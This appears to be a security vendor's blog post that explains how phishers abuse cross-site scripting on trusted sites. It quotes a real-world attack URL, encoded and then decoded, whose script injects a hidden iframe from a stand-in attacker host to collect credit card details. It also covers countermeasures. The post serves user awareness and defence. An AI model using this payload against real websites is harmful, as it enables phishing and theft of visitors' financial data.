URLs often consist of a query string that appears right after the location of the particular file to be accessed. These query strings are used to pass various data parameters to the file. For example, the URL http://www.well-known-site.com/program?query-string would send the parameter “query-string” to the program located at www.well-known-site.com. While query strings in URLs are usually meant for passing data values, enterprising attackers sometimes try to craft special query strings that include actual instructions (i.e., code); if the program processing these strings does not exercise the right precautions, it will fail to make the distinction between data and instructions, and actually end up executing the attacker's code.
Whatever trust privileges one accords to the site will then be (mistakenly) associated with the malicious code it is executing. If a user clicks on a link that, unbeknownst to him, contains such a maliciously crafted query string, he might think he is safely browsing a site he trusts, when in reality he could be grave danger. The term "cross-site scripting" (XSS) is often attributed to such attacks.
What does this have to do with phishing? Well, imagine if an attacker finds a well-regarded Web site containing a page that is vulnerable to such an attack. The attacker can craft a special URL that points to this Web page and also inserts some of the attacker's own content into the page. This content could consist of a form that queries a user for credentials (for example, passwords, credit card numbers, etc.) and passes those values back to the attacker. Imagine if an attacker sends this URL to an unsuspecting victim who clicks on the associated link. The result is that the user is lulled into a false sense of security since he trusts the site and therefore trusts any transaction he has with it, even though in reality he is transacting with an attacker.
Even though the concept of cross-site scripting has been known for some time, it's surprising how many well-regarded Web sites are still susceptible to them. Quite recently, we saw a phishing attack in the wild that utilized a cross-site scripting attack on a well-known financial institution (the institution quickly made the appropriate fixes).
The attack involved a phishing email that asked the user to click on URL that looked like the following:
"http://www.well-known-financial-institution.com/?q=
%3Cscript%3Edocument.write%28%22%3Ciframe+src%3D%27
http%3A%2F%2Fwww.very-bad-site.com%27+
FRAMEBORDER%3D%270%27+WIDTH%3D%27800%27+HEIGHT%3D%27640%27
+scrolling%3D%27auto%27%3E%3C%2Fiframe%3E%22%29%3C%2Fscript%3E&...=...&... "
At first glance, this URL looks like gibberish, since it uses hexadecimal character encodings. So, I'll translate it into something more readable. It turns out that:
%3C represents the less than symbol: <
%3E represents the greater than symbol: >
%28 represents an open parenthesis: (
%22 represents quotation marks: "
%3D represents an equal sign: =
%27 represents a single quote: '
%3A represents a colon: :
%2F represents a forward slash: /
%29 represents a close parenthesis: )
With all that, the URL translates to:
http://www.well-known-financial-institution.com/?q=<script>document.write("<iframe src='http://www.very-bad-site.com' FRAMEBORDER='0' WIDTH='800' HEIGHT='640' scrolling='auto'></iframe>")</script>&...=...&...">
The attacker embedded the following Javascript code into the query string:
document.write("<iframe src='http://www.very-bad-site.com' FRAMEBORDER='0' WIDTH='800' HEIGHT='640' scrolling='auto'></iframe>")
When executed, it will inject the HTML code: <iframe src='http://www.very-bad-site.com' FRAMEBORDER='0' WIDTH='800' HEIGHT='640' scrolling='auto'></iframe> into the HTML code the user's browser would normally render when it visits www.well-known-financial-institution.com. The code sets up a borderless iframe, which, in turn, contains code that is fetched from www.very-bad-site.com.
The user might trust the page he sees, since he thinks it came directly from the well-known financial institution. However, the attacker leveraged a cross-site scripting vulnerability to insert whatever he pleased into the trusted page. In the case of the attack I mentioned above, the attacker actually inserted a Web form asking the user for his credit card information. How many people actually fell for it? It's not clear, but I'm sure some folks will be in for a surprise when they open their next credit card statement.
It turns out that there are several countermeasures to deal with such attacks. To begin with, Web sites can take various input validation measures to ensure that the query string only contains legitimate data as opposed to code. There are also tools that look for common mistakes made by Web designers, which can sometimes cause sites to be vulnerable to cross-site scripting attacks. Of course, despite the fact that cross-site scripting is a well known attack possibility and despite the fact that there are tools that help Web designers, the reality is that these attacks continue to occur, and often on the Web sites of very highly-regarded financial institutions. In fact, the attackers themselves have automated tools to find vulnerable sites!
Is there anything end users can do? Well, certainly you could parse gibberish-looking URLs to determine if the intent is dubious. While that works for tech-savvy individuals, it obviously won't work for the vast majority of Internet users. For those who are less inclined to analyze URLs, Symantec will offer one remedy with its upcoming Norton Confidential product. This product has the ability, among others, to analyze URLs for malicious intent. The beta version I had installed on my machine instantly caught (and warned me appropriately about) the cross-site scripting attack I described above.
I'm sure that we'll see many, many more phishing attacks that leverage cross-site scripting. I hope that you exercise caution whenever you click on a URL that purports to take you to a trusted page, and that your next credit card statement doesn't contain any surprises!